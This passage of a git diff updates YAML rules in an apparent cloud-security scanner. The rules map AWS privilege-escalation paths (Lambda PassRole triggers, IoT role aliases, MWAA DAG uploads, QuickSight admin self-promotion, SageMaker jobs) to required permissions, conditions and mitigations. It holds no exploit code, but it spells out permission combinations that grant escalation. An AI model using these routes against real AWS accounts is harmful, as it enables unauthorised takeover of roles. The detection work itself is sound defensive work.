"{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + scope: same_account + aggregate_as: "Roles reachable by repointing a collected IoT alias in {account}" + outcome: credentials + preconditions: + - iot_existing_alias_new_policy_certificate_same_region + conditions: + - id: exact_existing_alias + description: A collected alias in the same Region can be updated by the source to point to the target role. + - id: controlled_certificate + description: The source can create an IoT policy for that alias and attach it to a generated or self-registered active certificate whose private key it holds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit UpdateRoleAlias and iam:PassRole for IoT credential-provider roles, and restrict who can create and attach IoT certificate policies. + references: + - https://docs.aws.amazon.com/iot/latest/apireference/API_ListRoleAliases.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_UpdateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + notes: The exact alias is observed by ListRoleAliases; no existing certificate or policy is assumed. Another same-Region path must let the source create a policy and active certificate and attach that policy to the certificate. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml index 50b4df420f..254660fc6e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml @@ -122,9 +122,11 @@ scope: same_account aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - lambda_existing_sqs_queue_function_and_role conditions: - id: event_source_available - description: An event source must exist or be creatable and receive a record (e.g. dynamodb:CreateTable/PutItem or an existing stream/queue with traffic); the passed role must be able to read that source for the mapping to be created. + description: An existing SQS queue can trigger the new function when the source can send a message and the passed role can receive and delete it. Other poll-based sources remain unresolved until their source, trigger, and role grants are joined. - id: passrole_condition_key description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. blockers: @@ -134,7 +136,8 @@ mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping to deployment principals. references: - https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html - notes: HackTricks uses DynamoDB as the trigger; any poll-based source the passed role can read works. The self-contained DynamoDB variant (Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo) is aws-lambda-passrole-createfunction-dynamodb-stream-trigger. + - https://docs.aws.amazon.com/lambda/latest/dg/services-sqs-configure.html + notes: HackTricks uses DynamoDB as the trigger; a separate self-contained DynamoDB variant is aws-lambda-passrole-createfunction-dynamodb-stream-trigger. This general route reports a conditional edge for one collected SQS queue only when SendMessage, ReceiveMessage, DeleteMessage, GetQueueAttributes, a same-Region new function, function-bound PassRole, and a resource-less CreateEventSourceMapping grant all join. A customer-managed encrypted queue needs key grants and stays unresolved here. Other poll-based sources remain unknown until their permissions and a record-producing path are established. - id: aws-lambda-passrole-createfunction-dynamodb-stream-trigger provider: aws @@ -163,9 +166,11 @@ scope: same_account aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - lambda_new_dynamodb_stream_function_and_role conditions: - id: role_reads_stream - description: The passed role must hold dynamodb:DescribeStream / GetRecords / GetShardIterator / ListStreams on the new table's stream (for example via AWSLambdaDynamoDBExecutionRole), or the mapping creation fails. + description: The passed role must be able to read the new table's stream with dynamodb:DescribeStream, GetShardIterator, and GetRecords; ListStreams is checked as a resource-less action for the documented Lambda stream policy. - id: passrole_condition_key description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. blockers: @@ -176,7 +181,7 @@ references: - https://docs.aws.amazon.com/lambda/latest/dg/with-ddb.html - https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__privesc_scan - notes: Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo. The table is created with StreamSpecification enabled (part of dynamodb:CreateTable); the item write fires the mapping. Removes the event_source_available condition of aws-lambda-passrole-createfunction-createeventsourcemapping. + notes: Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo. A new table is created with StreamSpecification enabled, a new function uses the exact passed role, and an enabled mapping targets that function. PutItem on the same table supplies a stream record. The evaluator joins one available table and function name in one Region, stream-reading role grants, PassRole bound to that function, and a resource-less CreateEventSourceMapping grant with lambda:FunctionArn context. A conditional permission or unavailable inventory stays unresolved. - id: aws-lambda-updatefunctioncode provider: aws @@ -257,20 +262,8 @@ summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose config trusts a signing profile it can use. requires: all_of: - - action: signer:StartSigningJob - resource: "*" - action: lambda:UpdateFunctionCode resource: "{target.resource_arn}" - - action: lambda:GetCodeSigningConfig - resource: "*" - - action: s3:PutObject - resource: "*" - - action: s3:GetObject - resource: "*" - - action: s3:GetObjectVersion - resource: "*" - - action: s3:ListBucket - resource: "*" target: kind: aws_role selector: @@ -278,6 +271,8 @@ via_resource_type: lambda_function scope: same_account aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_signer_trusted_profile_artifact_unverified conditions: - id: signing_profile_trusted description: signer:StartSigningJob must cover a signing profile whose version ARN is in the AllowedPublishers of the function's code-signing config. @@ -292,23 +287,21 @@ mitigation: Restrict signer:StartSigningJob on production signing profiles to the release pipeline, and keep signing profiles per environment. references: - https://docs.aws.amazon.com/signer/latest/developerguide/signing-profiles.html - notes: The evaluator should check that the signing profile covered by StartSigningJob is trusted by the function's CSC; without that fact the edge is conditional. + notes: The evaluator joins the same writable ZIP function to its enforcing code-signing config and checks StartSigningJob on a trusted profile, including signer:ProfileVersion, plus GetCodeSigningConfig on the exact config ARN. A complete versioned source object and writable/readable signed destination are still needed before the role edge can be reported. The source S3 object may already exist, so PutObject is not always required. - id: aws-lambda-passrole-updatefunctionconfiguration-role-swap provider: aws service: lambda - title: Repoint and replace the code of an existing Lambda function + title: Run controlled code through an existing Lambda function with a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdaupdatefunctionconfiguration-lambdainvokefunction--repoint-an-existing-functions-execution-role source_revision: 171e422299 - summary: The source can run chosen code under a passable Lambda-trusting role by changing the role and code of one existing function it can invoke. + summary: The source can run chosen code under a passable Lambda-trusting role by changing the role and either the code or a startup wrapper layer of one existing function it can invoke. requires: all_of: - action: iam:PassRole resource: "{target.arn}" - action: lambda:UpdateFunctionConfiguration resource: "*" - - action: lambda:UpdateFunctionCode - resource: "*" - action: lambda:InvokeFunction resource: "*" target: @@ -323,7 +316,7 @@ - lambda_existing_zip_function_role_swap_ready conditions: - id: same_function - description: The role change, code update, and invocation must cover the same active ZIP function. + description: The role change, chosen-code path, and invocation must cover the same active ZIP function. Chosen code comes from UpdateFunctionCode or a newly published executable layer attached with AWS_LAMBDA_EXEC_WRAPPER and GetLayerVersion permission. - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. blockers: @@ -334,7 +327,7 @@ references: - https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html - notes: Changing a function's role without controlling its code does not grant the caller the role's general permissions. This route requires control of both the role and executable ZIP code on one function. + notes: Changing a function's role without a way to run chosen code does not grant the caller the role's general permissions. The evaluator requires UpdateFunctionCode or a new wrapper layer published and attached by the source on the same supported native-runtime function, followed by InvokeFunction. A pre-existing controlled layer or customer-managed KMS setting stays unresolved without further evidence. - id: aws-lambda-putresourcepolicy-grant-updatefunctioncode provider: aws @@ -462,9 +455,9 @@ - id: passrole_condition_key description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be attached to a MicroVM. - id: same_image_scope - description: RunMicrovm and CreateMicrovmShellAuthToken are authorized on the MicroVM image ARN; both grants must cover the same usable image (customer or AWS-managed) for the edge to hold. + description: RunMicrovm and CreateMicrovmShellAuthToken must cover the same runnable customer image. AWS-managed base-image eligibility is left unresolved without runtime evidence. - id: shell_ingress_connector - description: The runtime must be launched with the AWS-managed SHELL_INGRESS connector; it cannot be added to a running MicroVM. + description: The runtime must be launched with the AWS-managed SHELL_INGRESS connector; lambda:PassNetworkConnector has no resource-level scope, so its IAM grant must apply to Resource *, and the connector cannot be added to a running MicroVM. - id: alternative_attacker_image description: A source able to build its own MicroVM image could instead run arbitrary application code with the passed role without a shell token; that variant is not modelled separately. blockers: @@ -476,7 +469,7 @@ - https://docs.aws.amazon.com/lambda/latest/dg/microvms-how-it-works.html - https://docs.aws.amazon.com/lambda/latest/dg/microvms-security.html - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html - notes: RunMicrovm attaches an optional execution role whose credentials the guest receives through IMDSv2. AWS requires the execution role to trust lambda.amazonaws.com for sts:AssumeRole and sts:TagSession. The evaluator joins one recorded runnable image covered by RunMicrovm and CreateMicrovmShellAuthToken with PassNetworkConnector on the same Region's SHELL_INGRESS connector. + notes: RunMicrovm attaches an optional execution role whose credentials the guest receives through IMDSv2. AWS requires the execution role to trust lambda.amazonaws.com for sts:AssumeRole and sts:TagSession. The evaluator joins one recorded runnable customer image covered by RunMicrovm and CreateMicrovmShellAuthToken with a global PassNetworkConnector grant evaluated in the image's Region; the requested connector must be SHELL_INGRESS. A possible AWS-managed base-image path stays unknown without runtime evidence. - id: aws-lambda-passrole-createfunction-eventbridge-trigger provider: aws @@ -513,7 +506,7 @@ outcome: workload_execution conditions: - id: scheduled_rule_invokes_function - description: The source must create an enabled scheduled rule targeting the newly created function and grant events.amazonaws.com invoke permission on that function; function and rule must be creatable in a common Region. + description: The source must create an enabled scheduled rule on the default bus, add the newly created function as an allowed events:TargetArn, and grant events.amazonaws.com invoke permission; function and rule must be in one Region. - id: passrole_condition_key description: iam:PassedToService and iam:AssociatedResourceArn conditions must allow passing the role to this new Lambda function. blockers: @@ -521,8 +514,11 @@ confidence: conditional severity: critical mitigation: Restrict iam:PassRole, lambda:CreateFunction, events:PutRule, events:PutTargets, and lambda:AddPermission to approved deployment principals. - references: [] - notes: The two page examples, creating IAM user keys and granting assume-role permissions, are payload effects of this one role-execution path. EventBridge schedule can supply the trigger without an external event source. + references: + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutRule.html + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-conditions.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + notes: The two page examples, creating IAM user keys and granting assume-role permissions, are payload effects of this one role-execution path. A new PutRule is enabled by default and its schedule can supply the trigger without an external event source. The rule may also include an event pattern when an IAM condition requires events:source or events:detail-type. - id: aws-lambda-getconfig-secret-identity provider: aws service: lambda diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml index fdd039ec45..29dc5ecc15 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml @@ -37,7 +37,7 @@ - id: valid_artifacts description: The source must read an S3 application definition and artifacts valid for the chosen engine (s3:GetObject and s3:ListBucket, plus KMS permissions for a customer key). - id: role_use_bounded - description: The application role is used by the managed runtime for the resources the workload accesses; the page does not show the role's credentials being exposed to workload code, so the reachable authority is what the workload can drive through the runtime. + description: Confirm that a source-controlled definition and its engine-specific artifacts were accepted, the exact application was deployed and started under the exact role, and the workload completed a useful action allowed to that role but unavailable directly to the source. The runtime's use of the role does not imply that its credentials were exposed to application code. - id: passrole_condition_key description: iam:PassedToService conditions may restrict this. blockers: @@ -47,4 +47,4 @@ mitigation: Restrict iam:PassRole on M2 application roles to deployment pipelines with iam:PassedToService and exact role ARNs, and keep application roles least-privileged. references: - https://docs.aws.amazon.com/m2/latest/userguide/security-iam.html - notes: Creating an application record alone does not use the role; deployment and start are required. The evaluator requires one collected Available runtime environment, exact deployment authorization on it, broad deployment and start authority covering the generated application ID, PassRole to m2.amazonaws.com, and a writable readable S3 definition path. Valid engine artifacts and the role's exact runtime effects remain conditional. + notes: Creating an application record alone does not use the role; deployment and start are required. The evaluator requires one collected Available runtime environment, exact deployment authorization on it, broad deployment and start authority covering the generated application ID, PassRole to m2.amazonaws.com, and a writable readable S3 definition path. A concrete edge additionally requires fresh reviewed evidence that valid source-controlled artifacts executed under the exact application role and completed a useful action unavailable directly to the source. Missing or conflicting execution evidence leaves the route unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml index 1b887e30fe..30557a2377 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml @@ -48,7 +48,7 @@ mitigation: Restrict iam:PassRole on Migration Hub service roles with iam:PassedToService and limit automation-unit creation and runs to migration administrators. references: - https://docs.aws.amazon.com/migrationhub/latest/ug/automation.html - notes: The Migration Hub Automation guide warns that a user with these four permissions can perform actions the service role allows. The evaluator withholds a role edge until it can verify the account's us-east-1 home Region and feature access, one source-controlled SSM or Lambda runtime target, and association and run permissions bound to the new automation unit. + notes: The Migration Hub Automation guide warns that a user with these four permissions can perform actions the service role allows. A concrete edge requires fresh reviewed evidence of the us-east-1 home Region and feature access, one source-controlled SSM or Lambda target, successful creation, role association and run of the same unit, and a useful action performed under the exact role but unavailable directly to the caller. Current permissions must still allow creation, association on that unit, running and PassRole to migrationhub.amazonaws.com. Missing or conflicting execution evidence remains unresolved. - id: aws-migrationhub-orchestrator-workflow-step provider: aws @@ -99,4 +99,4 @@ administrators and restrict writes to migrationhub-orchestrator-* buckets. references: - https://docs.aws.amazon.com/migrationhub-orchestrator/latest/userguide/security-iam-awsmanpol.html - notes: The two permissions in each alternative must authorize the same workflow. No iam:PassRole or ssm:SendCommand is needed because the service-linked role runs AWS-RunRemoteScript. The evaluator withholds a role edge until an existing workflow, its startable or retryable state, a mutable and reachable custom step, source-controlled S3 script, service-linked role and exact online SSM-managed target instance are joined. + notes: The two permissions in each alternative must authorize the same workflow. No iam:PassRole or ssm:SendCommand is needed because the service-linked role runs AWS-RunRemoteScript. A concrete edge requires fresh reviewed evidence that an automated step in a runnable workflow retrieved a source-controlled script, executed on the exact online SSM-managed EC2 instance, and performed a useful action under its exact instance role that the caller could not perform directly. Current workflow and S3 write permissions must still cover that same workflow and script. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml index d03b57a378..a5b41de7e3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml @@ -8,45 +8,6 @@ # Source: hacktricks-cloud aws-ml-dataaccess-passrole-privesc/README.md (rev 171e422299). # The data-only (confused-deputy read/write) services on that page are excluded in _excluded_refresh_g4.yaml. -- id: aws-finspace-passrole-createkxcluster - provider: aws - service: finspace - title: Create a FinSpace Managed kdb cluster with a passed execution role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive - source_revision: 171e422299 - summary: The source can obtain the privileges of passable roles trusting finspace.amazonaws.com by running q code it supplies in a kdb cluster under that role. - requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - request_context: - iam:PassedToService: finspace.amazonaws.com - - action: finspace:CreateKxCluster - resource: "*" - target: - kind: aws_role - selector: - trust_allows_service: finspace.amazonaws.com - resource_permission_covers_target: iam:PassRole - scope: same_account - aggregate_as: "Roles trusting finspace.amazonaws.com passable in {account}" - outcome: workload_execution - conditions: - - id: existing_kx_environment - description: A Managed kdb environment must already exist in the CreateKxCluster Resource scope. - - id: code_readable - description: The cluster code location must be readable by the service. - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - blockers: - - scp_or_boundary_deny - confidence: conditional - severity: high - mitigation: Restrict iam:PassRole on FinSpace execution roles and finspace:CreateKxCluster, and keep execution roles least-privileged. - references: - - https://docs.aws.amazon.com/finspace/latest/management-api/API_CreateKxCluster.html - notes: Documentation-grounded; Managed kdb environments are rare. CreateKxUser/UpdateKxUser role binding is not modelled. - - id: aws-kafkaconnect-passrole-createconnector provider: aws service: kafkaconnect @@ -72,6 +33,8 @@ scope: same_account aggregate_as: "Roles trusting kafkaconnect.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - kafkaconnect_plugin_execution_unverified conditions: - id: controlled_plugin_code description: CreateCustomPlugin must register connector code the source supplies; an AWS-provided or unrelated existing plugin does not run source-controlled code. @@ -91,4 +54,4 @@ references: - https://docs.aws.amazon.com/msk/latest/developerguide/msk-connect-service-execution-role.html - https://docs.aws.amazon.com/msk/latest/developerguide/mkc-iam-policy-examples.html - notes: The page lists MSK Connect in its code-executing table ("Kafka connector plugin"). Connector workers run the plugin's JVM code and use the service execution role for AWS calls. Reuse of an existing plugin is intentionally excluded because the source-to-plugin control join is not collected. + notes: CreateCustomPlugin and CreateConnector are authorized on * and PassRole must cover the exact service execution role for kafkaconnect.amazonaws.com. A concrete route requires fresh reviewed evidence that the source controlled the exact S3 JAR or ZIP registered as a custom plugin, the connector selected that plugin and a reachable Kafka cluster with working network configuration, and the running plugin performed a useful action under the immutable role ID that the caller could not perform directly. Missing artifact, cluster or execution evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml index 7d77f4dcf7..5a5389b38e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml @@ -7,6 +7,36 @@ # Amazon MWAA (Managed Workflows for Apache Airflow) privilege escalation techniques. # Source: hacktricks-cloud aws-post-exploitation/aws-mwaa-post-exploitation/README.md (rev 171e422299). +- id: aws-mwaa-s3-putobject-dag + provider: aws + service: airflow + title: Upload a Python DAG to an existing MWAA environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: aa345c4cbe + summary: The source can place a Python DAG in an existing environment's configured S3 DAG folder, where MWAA may parse it under the environment's recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of MWAA environments whose DAG folders are writable in {account} + outcome: workload_execution + preconditions: + - mwaa_existing_dag_object_execution_role + conditions: + - id: dag_sync_and_python_parse + description: The uploaded Python file must be synchronized and parsed by MWAA; object encryption and runtime failures may still block code execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to each MWAA DAG folder to trusted deployment principals and keep environment execution roles narrow. + references: + - https://docs.aws.amazon.com/mwaa/latest/userguide/configuring-dag-folder.html + - https://docs.aws.amazon.com/mwaa/latest/API/API_GetEnvironment.html + notes: The evaluator binds a collected AVAILABLE environment's exact ExecutionRoleArn, bucket and DAG path to a source-writable Python object and the role's read/list grants. It also tests exact .py keys named by the source policy, not only a fixed generated file. It never infers a role from a token or from a different environment's DAG bucket. + - id: aws-mwaa-serverless-passrole-createworkflow provider: aws service: airflow-serverless @@ -24,10 +54,6 @@ resource: "*" - action: airflow-serverless:StartWorkflowRun resource: "*" - - action: iam:CreateServiceLinkedRole - resource: "*" - request_context: - iam:AWSServiceName: airflow-serverless.amazonaws.com target: kind: aws_role selector: @@ -50,7 +76,7 @@ mitigation: Constrain iam:PassRole for airflow-serverless.amazonaws.com to approved roles and restrict airflow-serverless:CreateWorkflow. references: - https://docs.aws.amazon.com/mwaa/latest/mwaa-serverless-userguide/what-is-mwaa-serverless.html - notes: The source demonstrates a DAG-factory YAML object in S3 and a subsequent StartWorkflowRun call on the ARN returned by CreateWorkflow. The evaluator accepts a new workflow only when complete inventory shows a free name, a same-Region versioned private bucket can hold source-written YAML, broad StartWorkflowRun covers every generated ID, and both caller and role have the required logging permissions. Narrower workflow grants, other bucket paths, and runtime behavior remain unresolved. The page documents iam:CreateServiceLinkedRole for airflow-serverless.amazonaws.com as required even when the service-linked role exists. + notes: The source demonstrates a DAG-factory YAML object in S3 and a subsequent StartWorkflowRun call on the ARN returned by CreateWorkflow. The evaluator requires complete workflow inventory, a free name, a same-Region versioned private bucket for source-written YAML, StartWorkflowRun covering generated IDs, logging grants, and the exact service-linked role or permission to create it. A concrete role edge additionally requires fresh reviewed evidence that the exact YAML was accepted, its new workflow ran, and a useful action succeeded under the exact execution role but not for the caller. Missing or conflicting execution evidence remains unresolved. - id: aws-mwaa-passrole-updateenvironment provider: aws @@ -84,4 +110,4 @@ mitigation: Constrain iam:PassRole for airflow.amazonaws.com / airflow-env.amazonaws.com and restrict airflow:UpdateEnvironment; pin aws:SourceArn of the environment in execution-role trust policies. references: - https://docs.aws.amazon.com/mwaa/latest/API/API_UpdateEnvironment.html - notes: The evaluator binds UpdateEnvironment to a usable collected environment and checks PassRole for that environment with iam:PassedToService and iam:AssociatedResourceArn. It also verifies a writable DAG object the passed role can list and read. Worker scheduling, encryption and runtime behavior remain conditional. Startup scripts, plugins and Airflow tokens are alternative code paths that remain unresolved. The same UpdateEnvironment call can set code paths that run as the current execution role without PassRole. + notes: The evaluator binds UpdateEnvironment to a usable collected environment and checks PassRole for that environment with iam:PassedToService and iam:AssociatedResourceArn. It also verifies a writable DAG object the passed role can list and read. A concrete role edge additionally requires fresh reviewed evidence that the update succeeded, the exact controlled DAG parsed, a task ran, and a useful action succeeded under the exact new execution role but not for the caller. Startup scripts, plugins and Airflow tokens are alternative code paths that remain unresolved. The same UpdateEnvironment call can set code paths that run as the current execution role without PassRole. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml index 618ecc8a58..1be85e4f3f 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml @@ -53,13 +53,11 @@ title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--spawn-an-account-you-fully-own-inside-the-victim-org source_revision: 171e422299 - summary: A management-account principal can create a new member account, which it fully controls through OrganizationAccountAccessRole, and from it assume roles whose trust allows any principal of the organization (Principal "*" with aws:PrincipalOrgID / aws:PrincipalOrgPaths). + summary: A management-account principal can create a member account, assume its new management access role if authorized, and then try roles whose trust allows principals from the organization. requires: all_of: - action: organizations:CreateAccount resource: "*" - - action: sts:AssumeRole - resource: "arn:{source.partition}:iam::*:role/*" target: kind: aws_role selector: @@ -75,8 +73,11 @@ description: The organization must have account quota left and CreateAccount is asynchronous and visible in CloudTrail. - id: access_role_name description: The admin role created in the new account is OrganizationAccountAccessRole by default but its name is chosen by the caller, so sts:AssumeRole must cover the chosen role name. + - id: root_scp_and_target_rcp + description: Root SCPs must allow sts:AssumeRole from the new member account, and target-account RCPs must not deny it on the trusted role. preconditions: - source_in_org_management_account + - created_org_access_role_assumable blockers: - scp_or_boundary_deny confidence: conditional @@ -85,4 +86,6 @@ references: - https://docs.aws.amazon.com/organizations/latest/APIReference/API_CreateAccount.html - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid - notes: The trust is evaluated with aws:PrincipalOrgID set to the collected organization id and aws:PrincipalOrgPaths to the root path; without the organization inventory the targets are unresolved placeholders. + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_evaluation.html + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html + notes: The trust is evaluated with aws:PrincipalOrgID set to the collected organization id and aws:PrincipalOrgPaths to the root path. Incomplete organization, root SCP, target RCP or additional trust-condition evidence leaves the role route unresolved. CreateAccount is asynchronous, so a concrete edge additionally requires fresh reviewed evidence that creation completed, the new account is active in the root, the source assumed its exact access role, that role assumed the exact target role, and the target role supplies a useful action the source lacks. Missing, failed or conflicting creation evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml index 6512f7f7f7..1f79d6fbf1 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml @@ -9,6 +9,35 @@ # QuickSight user inventory is collected, but a new ADMIN registration needs # subscription, IAM identity, and requested user ARN evidence before sign-off. +- id: aws-quicksight-updateuser-admin + provider: aws + service: quicksight + title: Promote an existing IAM-backed QuickSight user to administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + summary: An IAM user can promote its own active QuickSight identity to ADMIN when UpdateUser is allowed on that exact QuickSight user. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:UpdateUser + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + quicksight_existing_iam_user: true + scope: same_account + aggregate_as: "QuickSight administrator for {target.resource_arn}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_existing_iam_user_self_admin + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:UpdateUser on users' own QuickSight identities and monitor changes to ADMIN. + notes: PrincipalId must exactly match the caller's immutable IAM UserId; a role session, QuickSight-native user, inactive user, or custom permission restriction is not a definite self-promotion. + - id: aws-quicksight-registeruser-admin provider: aws service: quicksight @@ -40,4 +69,4 @@ confidence: conditional severity: high mitigation: Restrict quicksight:RegisterUser to QuickSight administrators and alert on RegisterUser with Role=ADMIN. - notes: The registered identity is the source IAM user. IAM role sessions need a separate session-bound path. Application-plane administration, not IAM administrator access. + notes: The request sets UserName to the source IAM user's name and IamArn to that same user, so RegisterUser authorizes the exact new user/default/ ARN. It omits SessionName, which is required only for assumed IAM roles. IAM role sessions need a separate session-bound path. This grants QuickSight administration, not IAM administrator access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml index c4c440d27d..5f2d9415a0 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml @@ -122,23 +122,24 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:CreateProcessingJob - resource: "*" + resource: arn:{source.partition}:sagemaker:*:{source.account}:processing-job/* target: kind: aws_role selector: trust_allows_service: sagemaker.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution preconditions: - - sagemaker_job_execution_route_unverified + - sagemaker_processing_inline_entrypoint_route conditions: - - id: egress_or_role_side_effects - description: Credential use from inside the job needs outbound network (no network isolation) or the payload must act with the role directly. - - id: sagemaker_condition_keys - description: sagemaker:NetworkIsolation / sagemaker:VpcSubnets / image condition keys may constrain the job. + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and the selected processing instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. blockers: - scp_or_boundary_deny confidence: conditional @@ -146,7 +147,8 @@ mitigation: Restrict iam:PassRole on SageMaker roles and use SageMaker condition keys (approved images, network isolation) on job creation. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateProcessingJob.html - notes: The role also needs ECR pull permissions for the chosen image; AWS-provided images are normally pullable by SageMaker roles. + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateProcessingJob authorizes the caller-selected processing-job ARN. AppSpecification.ContainerEntrypoint can select caller-supplied Python code in a SageMaker-managed image, which SageMaker pulls with service-owned credentials. The precondition joins one free job name, the exact creation and PassRole grants, compatible service trust, and a non-isolated instance request. Image availability, instance capacity and successful job startup remain conditional. - id: aws-sagemaker-passrole-createtrainingjob provider: aws @@ -159,23 +161,24 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com - action: sagemaker:CreateTrainingJob - resource: "*" + resource: arn:{source.partition}:sagemaker:*:{source.account}:training-job/* target: kind: aws_role selector: trust_allows_service: sagemaker.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" outcome: workload_execution preconditions: - - sagemaker_job_execution_route_unverified + - sagemaker_training_inline_entrypoint_route conditions: - - id: egress_or_role_side_effects - description: Credential use from inside the job needs outbound network or direct role actions by the payload. - - id: output_bucket_writable_by_role - description: The passed role must be able to write the job's S3 output path. + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and selected training instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. blockers: - scp_or_boundary_deny confidence: conditional @@ -183,7 +186,8 @@ mitigation: Restrict iam:PassRole on SageMaker roles and enforce approved images/network isolation via condition keys. references: - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateTrainingJob.html - notes: "" + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateTrainingJob authorizes the caller-selected training-job ARN and accepts caller-supplied ContainerEntrypoint and ContainerArguments. 